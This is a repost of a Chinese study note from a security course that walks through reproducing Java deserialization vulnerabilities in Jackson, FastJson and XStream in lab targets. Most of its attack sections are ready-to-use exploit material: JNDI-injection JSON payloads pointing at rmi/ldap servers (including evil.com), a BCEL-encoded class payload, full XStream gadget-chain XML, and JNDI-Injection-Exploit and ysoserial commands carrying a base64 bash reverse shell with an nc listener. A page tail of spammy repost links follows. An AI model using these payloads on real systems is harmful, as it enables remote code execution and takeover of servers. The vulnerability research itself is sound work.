当前位置: 首页 > news >正文

小迪安全v2023学习笔记(八十三讲)—— 组件安全JacksonFastJsonXStreamCVE复现

文章目录

  • 前记
  • 服务攻防——第八十三天
    • 开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现
      • 黑白盒测试
      • J2EE - Jackson组件-本地demo&CVE
        • 漏洞介绍
        • 漏洞复现
          • CVE-2020-8840
          • CVE-2020-35728
      • J2EE - FastJson组件-本地demo&CVE
        • 漏洞介绍
        • 漏洞复现
          • FastJson ≤ 1.2.24
          • FastJson ≤ 1.2.47
        • 工具使用
      • J2EE - XStream-本地demo&CVE
        • 漏洞介绍
        • 漏洞复现
          • CVE-2021-21351
          • CVE-2021-29505

前记

  • 今天是学习小迪安全的第八十三天,内容仍然是JAVA的组件安全,包括JacksonFastJson以及XStream
  • 本节课内容之前其实也讲过一些,所以更多的是理解黑盒测试的思路
  • 所用到的本地demo资源已放至下方链接,需要自取:
    • https://pan.baidu.com/s/1Z1jH9kq8jsWY_Uhp049GtA
    • 提取码:cury

服务攻防——第八十三天

开发组件安全&Jackson&FastJson各版本&XStream&CVE环境复现

黑白盒测试

  • 黑盒检测:Java应用,BP抓包看数据包请求参数是否以Json/Xml格式发送数据

  • 黑盒判断:通过提交数据报错信息得到什么组件

    • xml格式:XStream
    • json格式:FastJson或Jackson
  • 白盒测试:直接看引用组件版本

J2EE - Jackson组件-本地demo&CVE

漏洞介绍
  • 当下流行的json解释器,主要负责处理Json的序列化和反序列化
  • CVE-2020-8840
    • 漏洞描述:jackson-databind ≤ 2.9.10.2 的默认黑名单中漏掉了 org.apache.xbean.propertyeditor.JndiConverter。当应用开启多态反序列化(enableDefaultTyping()@JsonTypeInfo 或 SpringFox 等框架隐式开启)时,攻击者可在 JSON 中传入 ["org.apache.xbean.propertyeditor.JndiConverter",{"asText":"ldap://evil/Exploit"}] 触发 setAsText() → toObjectImpl() → InitialContext.lookup(),造成 JNDI 注入,最终远程代码执行
    • 影响版本
      • jackson-databind 2.9系列 < 2.9.10.3
      • jackson-databind 2.8系列 < 2.8.11.5
      • jackson-databind 低于2.8系列
    • 利用条件
      1. 开启任意形式的多态反序列化
      2. 类路径存在 xbean-reflect(含 JndiConverter
      3. JDK ≤ 8u191 / 11.0.1 时可直接远程加载代码,高版本仍需本地 Factory 类绕过
  • CVE-2020-35728
    • 漏洞描述Jackson-databind ≤2.9.10.7 默认黑名单漏了 WebLogic 自带的 JndiConnectionPool,开多态时 JSON 里传 @class 就能触发 JNDI 注入 → RCE。
    • 影响版本
      • jackson-databind 2.0.0 ~ 2.9.10.7
    • 利用条件
      1. 开启任意形式的多态反序列化(enableDefaultTyping()@JsonTypeInfoactivateDefaultTyping 均可)
      2. 类路径存在 com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool(WebLogic 12c/14c 默认自带;部分项目手动引入 org.glassfish.web:javax.servlet.jsp.jstl 也会间接携带)
      3. 目标 JDK ≤ 8u191 / 11.0.1 时可直接远程加载 Factory 类;高版本需本地可用 Factory 绕过
  • CVE-2023-35116
    • 漏洞描述:2.15.0-2.15.1 在修复 CVE-2022-42003 时只把 BasicDataSource 本身拉黑,却未限制其派生类及 driverClassLoader 字段,攻击者仍可通过子类 + 二次反序列化完成代码执行。
    • 影响版本
      • jackson-databind 2.15.0 ~ 2.15.1
      • jackson-databind < 2.14
    • 利用条件:
      1. 开启任意形式的 polymorphic typing(@JsonTypeInfoenableDefaultTypingactivateDefaultTyping 均可)
      2. 类路径存在 commons-dbcp 2.x(比 CVE-2022-42003 要求更宽松,子类亦可)
      3. 入口字段为 ObjectSerializableDataSource 接口类型。
  • 更多漏洞详见:https://avd.aliyun.com/search?q=Jackson
漏洞复现
CVE-2020-8840
  • 启动vulfocus靶机,打开网站:
    在这里插入图片描述

  • 提示攻击路径为Jacksondatabind/attack,直接访问报错:
    在这里插入图片描述

  • 从报错中我们可以知道原因是没有content参数,并且发现它存在jackson组件,于是我们就直接用网上的各种payload开打

  • 先启动一个JNDI注入的恶意文件网站:
    在这里插入图片描述

  • 然后插入我们的payload

content=["org.apache.xbean.propertyeditor.JndiConverter",{"asText":"rmi://192.168.0.129:1099/fvpqm"}]
  • 不过这里应该是环境的问题,我是怎么发送payload它都提示我content参数为空
  • 所以我们就采用本地demo来简单看一看漏洞利用成功的样子,关键的代码是这一段:
ObjectMapper mapper = new ObjectMapper();  
// 必须开启多态  
mapper.enableDefaultTyping();String json = "用户输入的变量";mapper.readValue(json, Object.class);
  • 假设json是用户可以自定义的数据,那就可以插入payload进行测试:
[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://192.168.0.129:1389/fv0pqm\"}]

在这里插入图片描述

  • 成功弹出计算器,如果未成功的注意Jdk版本要小于8u191
CVE-2020-35728
  • 还是启动一下vulfocus靶机试试看能不能用,打开网站:
    在这里插入图片描述

  • 同样是一个报错页面,也不知道什么情况,这里可以看到它还是使用的jackson,于是我们尝试payload

["com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"rmi://192.168.0.129:1099/a9h1gu"}]
  • 可能又是环境的问题,依旧一直是500报错页面,不管了,还是启动我们的本地demo,漏洞代码如下:
ObjectMapper mapper = new ObjectMapper();  
mapper.enableDefaultTyping();          // 必须开多态  String payload = "用户输入的变量";  mapper.readValue(payload, Object.class);   // 触发

在这里插入图片描述

  • 也成功弹出了计算器,利用成功

J2EE - FastJson组件-本地demo&CVE

漏洞介绍
  • 阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
  • 这里小迪并没有逐一介绍fastjson存在的CVE漏洞,而是针对不同版本的fastjson进行分类,只是给出了POC
  • 具体的漏洞详见:https://avd.aliyun.com/search?q=fastjson
  • FastJson ≤ 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/evilFile","autoCommit":true
}
  • FastJson ≤ 1.2.47
{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/evilFile","autoCommit":true}
}
  • FastJson ≤ 1.2.80:使用该PoC只能用源码中调用的第三方库或者组件等,利用条件比较苛刻
{"@type": "java.lang.Class","val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
}
{"@type": "java.lang.Class","val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
}
{"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$bbN$CA$U$3d$D$cb$O$ac$8b$bc$c47$sV$82$854v$Q$h$a3$W$e2$pb$b4$k$c6$J$Z$5cv$c92$Y$fe$c8$9aF$8d$85$l$e0G$Z$efl$M$908$c5$7d$9c$c7$bd7$f3$fd$f3$f9$F$e0$Y$7b$k8J$k$ca$a8d$b1fs$95c$9dc$83c$93$c1m$ebP$9b$T$86t$bd$f1$c0$e0$9cFO$8a$a1$d0$d1$a1$ba$9e$M$7b$w$be$X$bd$80$90l$5b$G$7f$ca$7c$d7$I$f9$7c$rF$JE$b3$Y$bcn4$89$a5$3a$d7$89TMGG$D$f1$o$7cd$91$e3$d8$f2$b1$8d$j$9a$zE$m$7d$ec$a2$c6P$b1$7c3$Qa$bfy6$95jdt$U$d2$N$e4d$u$$$b8$9b$de$40I$c3PZ$40w$93$d0$e8$n$ad$f1$fa$ca$cc$9bj$bd$d1$f9$a7i$d1N5U$92$e1$a0$be$c4vM$ac$c3$7ek$d9p$hGR$8d$c7$z$ec$c3$a5$df$b2$_$Ff$cf$a7$e8QW$a3$cc$ug$O$df$c1fT0$acPt$T$d0$K$fd$b9$f4$o$b1$C$ab$lH$95$d3op$k_$e1$5c$ce$S$yG$ba$M$f1$d6$5b$86C$d1$n$ccM$d0$3c$z$ce$T$c2$91$eap$ac$da$b1$85$e4$8e$e2$_$M$c2$l$G$cb$B$A$A"
}
  • 利用PoC合集:https://github.com/kezibei/fastjson_payload
漏洞复现
  • 我们这里就还是使用本地demo进行演示,实战的话就是看哪些地方是传入的JSON数据,或者即使不是JSON格式的数据都可以直接插入payload尝试,总结一句话就是盲打
FastJson ≤ 1.2.24
  • 发生漏洞的代码如下:
public class Poc {  public static void main(String[] args) throws Exception {  String payload = "用户可控制的JSON数据";  JSON.parseObject(payload, Feature.SupportNonPublicField);  }  
}
  • 然后我们先在本地起一个RMI/LDAP服务器,放置恶意文件:
    在这里插入图片描述

  • 然后将payload替换为我们的PoC:

String payload = "{\n"  + "  \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n"  + "  \"dataSourceName\":\"ldap://192.168.0.129:1389/bwno1y\",\n"  + "  \"autoCommit\":true\n"  + "}";

在这里插入图片描述

  • 成功弹出计算器
FastJson ≤ 1.2.47
  • 产生漏洞的代码和上面一样:
public class Poc {  public static void main(String[] args) {  String payload = "用户可控制的JSON数据";  JSON.parseObject(payload, Feature.SupportNonPublicField);  }  
}
  • 同样在本地起一个RMI/LDAP服务器,放置恶意文件,然后将payload的位置改为我们的PoC:
// 1.2.47 通杀 PoC:利用 java.lang.Class 把 JdbcRowSetImpl 写入缓存,  
// 第二段再反序列化该缓存,即使 AutoType 关闭也能触发。  
String poc = "{\n" +  "  \"a\":{\n" +  "    \"@type\":\"java.lang.Class\",\n" +  "    \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +  "  },\n" +  "  \"b\":{\n" +  "    \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +  "    \"dataSourceName\":\"ldap://192.168.0.129:1389/bwno1y\",\n" +  "    \"autoCommit\":true\n" +  "  }\n" +  "}";

在这里插入图片描述

  • 也能够成功利用
工具使用
  • 这里也是有关于它的扫描工具的,但是个人感觉不太好用:

    1. JsonExp:狐狸工具箱自带,给出地址会帮你批量跑payload并生成一个网页端检查结果
      在这里插入图片描述
      在这里插入图片描述

    2. FastjsonScan:这个emmm,感觉还行吧,但是对靶场还是没有检测利用成功
      在这里插入图片描述

    3. FastJson_JackSon:这个感觉就是第一个工具的图形化界面版,也是发送各种payload进行测试
      在这里插入图片描述

  • 这些工具怎么说呢,反正聊胜于无吧

J2EE - XStream-本地demo&CVE

漏洞介绍
  • 开源Java类库,能将对象序列化成XML或XML反序列化为对象。
  • CVE-2021-21351
    • 漏洞描述:XStream 在解析 XML 时允许实例化任意 Java 类,通过 java.beans.EventHandler + java.lang.ProcessBuilder 的动态代理链,可直接在服务端执行操作系统命令,且无需任何第三方库依赖。
    • 影响版本
      • XStream ≤ 1.4.15(1.4.16 起默认内置黑名单,阻断该链)
    • 利用条件
      1. 业务代码调用 xstream.fromXml(...) 的地方接受外部输入
      2. 未启用 XStream 安全框架(即没有调用 addPermission/denyPermission 做白名单/黑名单)
      3. 目标 JVM 版本 ≥ 8(EventHandler 动态代理链在 8+ 稳定)
  • CVE-2021-29505
    • 漏洞描述:XStream 在解析恶意构造的 XML 数据时,触发反序列化链,导致远程代码执行。攻击者可通过构造特定 XML 调用 java.beans.EventHandlerjavax.imageio.ImageIO 等类,绕过黑名单机制执行任意命令。
    • 影响版本
      • XStream ≤ 1.4.16
    • 利用条件
      1. 应用接受外部 XML 输入(如 REST API、SOAP 服务)
      2. 未配置 XStream 的安全框架(默认允许所有类型反序列化)
  • CVE-2021-39144
    • 漏洞描述:通过反序列化 javax.naming.InitialContext 类,触发 JNDI 注入,实现远程代码执行(类似 Log4j 漏洞)
    • 影响版本
      • XStream ≤ 1.4.17
    • 利用条件
      1. 构造 XML 触发 JNDI 注入
      2. 服务器解析后从远程加载恶意类,执行命令。
  • 更多漏洞详见:https://avd.aliyun.com/search?q=XStream
漏洞复现
  • 这个网上并没有任何专门的工具可以批量检测,所以碰到了就只能手测了
CVE-2021-21351
  • 这里我们启动vulfocus的靶机,然后打开网站:
    在这里插入图片描述

  • 这里还是假设我们知道这个地方是通过xml传输数据的,于是我们先生成一个恶意RMI/LDAP服务器,让他反弹Shell:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzYuNS4xNzUvOTkwMCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.0.129
  • 然后启动监听9900端口:
nc -lvvp 9900
  • 再通过抓包POST提交如下payload
<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__overrideDefaultParser>false</__overrideDefaultParser><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>填入恶意RMI/LDAP地址</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParse reference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
  • 和之前一样,我环境有问题,所以没有反弹成功,但是它是能够成功去请求文件的:
    在这里插入图片描述

  • 说明这个地方是存在漏洞的

CVE-2021-29505
  • 打开vulfocus靶场,然后打开网站:
    在这里插入图片描述

  • 还是同样的网站,同样的提示,我们还是先生成一个恶意RMI/LDAP服务器,让他反弹Shell,但这里我们需要用ysoserial生成:

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMzYuNS4xNzUvOTkwMCAwPiYx}|{base64,-d}|{bash,-i}"

在这里插入图片描述

  • 然后启动监听9900端口:
nc -lvvp 9900
  • 再通过抓包POST提交如下payload
<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>填入RMI/LDAP服务器地址</string><int>1099</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>填入RMI/LDAP服务器地址</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>
  • but我这里没有复现成功,也搞不懂是为什么

文章转载自:

http://AGg1phkc.rnzgf.cn
http://CfYOuFQU.rnzgf.cn
http://bncRdrbH.rnzgf.cn
http://BMUwn1l5.rnzgf.cn
http://Tm3IWPRV.rnzgf.cn
http://Q6nQf5aj.rnzgf.cn
http://lhE0CpKw.rnzgf.cn
http://VkSHSsGX.rnzgf.cn
http://NThXyAIk.rnzgf.cn
http://hd5Vi6L3.rnzgf.cn
http://khJu5lJU.rnzgf.cn
http://wgRUEDmQ.rnzgf.cn
http://1a5p5vo6.rnzgf.cn
http://gg6CCozh.rnzgf.cn
http://q2k6pfMB.rnzgf.cn
http://IElzc8YN.rnzgf.cn
http://ozKtIjMA.rnzgf.cn
http://NPHkaHls.rnzgf.cn
http://DsyUl5Pj.rnzgf.cn
http://Bkz3Qq1g.rnzgf.cn
http://Dpo4hCiR.rnzgf.cn
http://xHPKT9OW.rnzgf.cn
http://UUdIDpq8.rnzgf.cn
http://hc7GpF1D.rnzgf.cn
http://LvfSkvtI.rnzgf.cn
http://Y4lNgQRP.rnzgf.cn
http://6YgNhlkw.rnzgf.cn
http://2P0DwY95.rnzgf.cn
http://Rdzr9KRw.rnzgf.cn
http://bw3Uk71h.rnzgf.cn
http://www.dtcms.com/a/386442.html

相关文章:

  • 鲁能大师显卡跑分计算规则,与算力对应关系?
  • 边缘智能的“隐形引擎”——TinyML 模型在 ARM Cortex-M 系列上的极致量化与加速实战
  • kernel32.dll如何修复?科普kernel32.dll缺失的故障问题的多种解决方法
  • git推送远程仓库
  • 「日拱一码」091 机器学习——集成学习
  • MTK Linux Charger驱动分析(五)- adapter_class.c
  • HarmonyOS 5.0应用开发——V2装饰器@once的使用
  • Day25_【深度学习(3)—PyTorch使用(5)—张量形状操作】
  • 微服务分布式事务解决方案梳理
  • 告别“长明灯”——塔能科技地下车库照明改造的极致节能
  • vue 3 阿里云视频播放器 如何让用户自己给视频添加节点
  • LinkedList 底层实现与 ArrayList 对比分析
  • 滚珠花键在半导体制造设备中承担怎样的核心功能?
  • 服装制造企业痛点解决方案:EFISH-SBC-RK3588 柔性化吊挂调度方案
  • 10cm钢板矫平机:工业制造中的“整形医生”
  • html表单登录模式代码
  • QUIC 协议域名封堵:核心原理、关键技术与实现路径(C/C++代码实现)
  • 8 基于机器学习进行遥感影像的地物分类-以随机森林为例
  • Qt读写SQLite示例
  • Jmeter性能测试之阶梯式场景、波浪式场景、服务器监控
  • 黄昏时刻复古胶片风格人像风光摄影后期Lr调色教程,手机滤镜PS+Lightroom预设下载!
  • Django ORM多对多关系实战指南
  • 【从零开始java学习|第十七篇】面向对象进阶
  • Three.js 开发实战教程(一):环境搭建与第一个 3D 场景
  • 旅游小程序的功能优势
  • LeetCode:7.接雨水
  • Android 安卓 问题解决记录 腾讯IM和厂商离线推送问题 点击离线推送无法唤醒APP启动页但某些Service服务和Application被启动
  • 动态规划解决系列子序列问题
  • SCADE One vs Scade 6 - 标量积建模比较
  • Next.js 身份验证与授权:使用 NextAuth.js 保护你的应用